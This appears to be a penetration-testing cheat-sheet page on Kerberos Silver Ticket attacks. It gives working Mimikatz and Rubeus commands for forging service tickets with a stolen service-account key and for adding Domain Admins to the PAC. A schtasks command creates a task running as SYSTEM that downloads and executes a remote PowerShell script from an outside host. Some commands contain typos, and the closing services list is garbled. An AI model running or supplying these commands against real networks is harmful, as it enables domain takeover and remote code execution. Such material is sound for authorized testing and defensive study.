Silver Tickets
#mimikatz #schtasks #klist
STs are encrypted with the service user's key derived from it's password.
If we have this key, we can forge ST's for any service running under that user. These tickets are called Silver Tickets.
Way more silent and powerful compared to the Golden Ticket attack because we are not interacting with the Domain Controller. We only interact with the service.
A trade-off of this attack is that, the persistence duration is less than of the Golden Ticket attack, as the machine account (response for running services like win-rm, smb etc.) usually has a password rotation duration of 30 days.
The key can be dumped from the lsass process memory or by Kerberoast, or dumping the entire AD Database (NTDS.dit file)
The PAC is signed with the
krbtgt
's account, hence a fake signature is used to create the PAC. The PAC signature is not verified if the the ticket is less than 20 minutes old. We can also add more privilege to the PAC, as it is not verified. For example, we can modify the PAC user group to include theDomain Admins
.
Mimikatz
Mimikatz can be used to forge silver tickets
# Create silver ticket to list shares on the machine
kerberos::golden
/user:administrator # username for which ST is generated
/domain:<domain> # fqdn of the domain
/sid:<sid> # sid of the domain
/target:<server> # fqdn of the target server
/service<service> # SPN of the service for which ST will be generated
/aes256:<key> # aes key of the service account
/id:<id> /group:<group> # Optional ID and groups
/ptt # inject the ticket in current session
# or
/ticket # save the ticket on disk
# Create silver ticket to gain remote execution on the machine.
# set /service:HOST, this allows to schedule tasks on the machine.
kerberos::golden /domain:mydomain.local /sid:<domain-sid> /target:<targetmachine-FQDN> /service:HOST /rc4:<key> /user:Administrator /ptt
# verifiy with klist
klist
# shchedule the malicious task
schtasks /create /S machine.mydomain.local /SC Weekly /RU "NT Authoririty\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex(New-Object Net.WebClient).DonwloadString(''http://ip/file.ps1''')'"
# Run the task
schtasks /Run /S machine.mydomain.local /TN "STCheck"
Rubeus
Rubeus.exe
silver
/service:<spn> # SPN of the service
/aes256:<key> # kerberos key of the service account of the above service
/user:<username> # username for which the service account is created
/ldap # make ldap queries to fetch details
/ptt # Inject the key in current process memory
[/printcmd] # print the rubues command to crate the same ticket with information fetched from ldap
Services
HTTP
for WIM-RMcifs
for SMBHOST
for scheduling tasksRPCSS
andHOST
or WMI
Last updated